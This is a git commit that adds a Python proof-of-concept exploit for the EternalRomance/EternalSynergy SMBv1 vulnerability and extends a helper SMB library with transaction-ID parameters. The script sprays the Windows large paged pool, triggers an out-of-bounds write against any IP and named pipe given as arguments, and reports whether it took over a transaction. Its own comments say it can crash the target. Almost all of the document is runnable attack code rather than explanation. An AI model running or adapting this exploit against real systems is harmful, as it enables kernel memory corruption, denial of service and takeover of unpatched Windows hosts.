add poc to demonstrates large paged pool spraying method
This commit is contained in:
90
eternalsynergy_poc.py
Normal file
90
eternalsynergy_poc.py
Normal file
@@ -0,0 +1,90 @@
|
||||
from mysmb import MYSMB
|
||||
from impacket import smb
|
||||
from struct import pack, unpack
|
||||
import sys
|
||||
|
||||
'''
|
||||
PoC: demonstrates how NSA eternalromance and eternalsynergy does the transaction alignment with large paged pool
|
||||
|
||||
Note:
|
||||
- This method is less reliable than matched-pair method and has higher chance to crash a target
|
||||
- I add this method to show how to spraying heap with large paged pool only
|
||||
|
||||
The exploit method uses only large paged pool for spraying heap. All transaction structs are at start of memory page.
|
||||
The OOB write bug need to overwrite data on the next memory page. There are 2 cases to make the target crashes.
|
||||
- The next memory page is invalid (page fault)
|
||||
- The next memory page is other data structure
|
||||
|
||||
Comparing to matched-pair method, the OOB write always writes at valid memory address because the written address is in
|
||||
same page as allocated transaction. Moreover, if the written address is not our transaction struct, it is likely to be
|
||||
free chunk data (failed but not crash the target).
|
||||
'''
|
||||
|
||||
USERNAME = ''
|
||||
PASSWORD = ''
|
||||
|
||||
if len(sys.argv) != 3:
|
||||
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||||
sys.exit(1)
|
||||
|
||||
target = sys.argv[1]
|
||||
pipe_name = sys.argv[2]
|
||||
|
||||
conn = MYSMB(target)
|
||||
conn.login(USERNAME, PASSWORD)
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
|
||||
tid2 = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||
fid = conn.nt_create_andx(tid, pipe_name)
|
||||
|
||||
print('Sending 50 frag packets (25 to free)')
|
||||
# paged pool size 0x8000 ... 0xc000
|
||||
for i in range(5):
|
||||
for j in range(7, 0xc):
|
||||
size = (j * 0x1000) + 0xe00
|
||||
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0)
|
||||
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=size, maxDataCount=0, tid=tid2)
|
||||
|
||||
#
|
||||
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x7e00, maxDataCount=0)
|
||||
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x7e00, maxDataCount=0, tid=tid2)
|
||||
|
||||
# free 25+1 transactions (create 25 holes)
|
||||
conn.disconnect_tree(tid2)
|
||||
|
||||
print('Sending 40 padding packets')
|
||||
# fill all large holes (size >= 0x10000)
|
||||
for i in range(40):
|
||||
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0xfe80, maxDataCount=0)
|
||||
|
||||
# Hope no hole for large paged pool left
|
||||
reqs = []
|
||||
for i in range(7):
|
||||
mid = fid if i == 2 else None
|
||||
reqs.append(conn.create_trans_packet(pack('<HH', 0x36, fid), mid=mid, totalDataCount=0xfe80, maxDataCount=0))
|
||||
conn.send_raw(''.join(reqs))
|
||||
for i in range(7):
|
||||
conn.recvSMB()
|
||||
|
||||
# smb write raw named pipe
|
||||
conn.do_write_andx_raw_pipe(fid, 'A'*512)
|
||||
|
||||
# OOB write
|
||||
conn.send_trans_secondary(fid, data='\x00\x00', dataDisplacement=0xfdc0)
|
||||
|
||||
# test OOB write result by sending a secondary with mid=0 and bad data displacement
|
||||
conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff)
|
||||
# if success, the target must reply an error
|
||||
# if no reply, fail
|
||||
recvPkt = conn.recvSMB()
|
||||
|
||||
if recvPkt.getNTStatus() != 0:
|
||||
print('Successfully took over a transaction')
|
||||
else:
|
||||
print('Fail to took over a transaction')
|
||||
|
||||
conn.disconnect_tree(tid)
|
||||
conn.logoff()
|
||||
conn.get_socket().close()
|
||||
60
mysmb.py
60
mysmb.py
@@ -103,7 +103,7 @@ def _setup_login_packet_hook(maxBufferSize):
|
||||
|
||||
|
||||
class MYSMB(smb.SMB):
|
||||
def __init__(self, remote_host, use_ntlmv2=True):
|
||||
def __init__(self, remote_host, use_ntlmv2=True, timeout=8):
|
||||
self.__use_ntlmv2 = use_ntlmv2
|
||||
self._default_tid = 0
|
||||
self._pid = os.getpid() & 0xffff
|
||||
@@ -113,7 +113,7 @@ class MYSMB(smb.SMB):
|
||||
self._pkt_flags2 = 0
|
||||
self._last_tid = 0 # last tid from connect_tree()
|
||||
self._last_fid = 0 # last fid from nt_create_andx()
|
||||
smb.SMB.__init__(self, remote_host, remote_host)
|
||||
smb.SMB.__init__(self, remote_host, remote_host, timeout=timeout)
|
||||
|
||||
def set_pid(self, pid):
|
||||
self._pid = pid
|
||||
@@ -179,7 +179,7 @@ class MYSMB(smb.SMB):
|
||||
self.sendSMB(pkt)
|
||||
return self.recvSMB()
|
||||
|
||||
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None):
|
||||
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None):
|
||||
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
|
||||
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
|
||||
writeAndX['Parameters']['Fid'] = fid
|
||||
@@ -190,16 +190,16 @@ class MYSMB(smb.SMB):
|
||||
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
|
||||
writeAndX['Data'] = '\x00' + data # pad 1 byte
|
||||
|
||||
self.send_raw(self.create_smb_packet(writeAndX, mid, pid))
|
||||
self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid))
|
||||
return self.recvSMB()
|
||||
|
||||
def create_smb_packet(self, smbReq, mid=None, pid=None):
|
||||
def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
|
||||
if mid is None:
|
||||
mid = self.next_mid()
|
||||
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt.addCommand(smbReq)
|
||||
pkt['Tid'] = self._default_tid
|
||||
pkt['Tid'] = self._default_tid if tid is None else tid
|
||||
pkt['Uid'] = self._uid
|
||||
pkt['Pid'] = self._pid if pid is None else pid
|
||||
pkt['Mid'] = mid
|
||||
@@ -217,7 +217,7 @@ class MYSMB(smb.SMB):
|
||||
def send_raw(self, data):
|
||||
self.get_socket().send(data)
|
||||
|
||||
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
@@ -241,13 +241,13 @@ class MYSMB(smb.SMB):
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
|
||||
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
|
||||
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
|
||||
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
@@ -258,12 +258,12 @@ class MYSMB(smb.SMB):
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
|
||||
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
|
||||
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
@@ -287,13 +287,13 @@ class MYSMB(smb.SMB):
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
|
||||
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
|
||||
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
@@ -304,12 +304,12 @@ class MYSMB(smb.SMB):
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
|
||||
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
|
||||
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
@@ -332,13 +332,13 @@ class MYSMB(smb.SMB):
|
||||
transCmd['Parameters']['Function'] = function
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
|
||||
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
|
||||
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
|
||||
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
@@ -348,10 +348,10 @@ class MYSMB(smb.SMB):
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
|
||||
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
|
||||
def recv_transaction_data(self, mid, minLen):
|
||||
data = ''
|
||||
|
||||
Reference in New Issue
Block a user